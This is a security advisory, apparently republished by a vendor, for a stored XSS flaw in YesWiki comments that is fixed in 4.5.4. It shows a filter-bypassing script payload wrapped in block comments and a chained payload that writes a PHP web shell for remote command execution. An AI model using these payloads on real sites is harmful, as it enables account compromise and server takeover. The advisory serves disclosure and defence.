GHSA-59x8-cvxh-3mm4
YesWiki Stored XSS Vulnerability in Comments
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.
The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like /* JavaScriptPayload */.
PoC
Navigate to a site and page that allows comments and place this in the comments section and submit it:
/*<script>alert('pizzapower')</script>*/
Upon submitting to the page, it will run. And then upon every page visit, it will run.
Impact
An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:
/*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/
Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | all versions | 4.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-59x8-cvxh-3mm4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-59x8-cvxh-3mm4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-59x8-cvxh-3mm4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-59x8-cvxh-3mm4 in your dependencies?
O3 detects GHSA-59x8-cvxh-3mm4 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.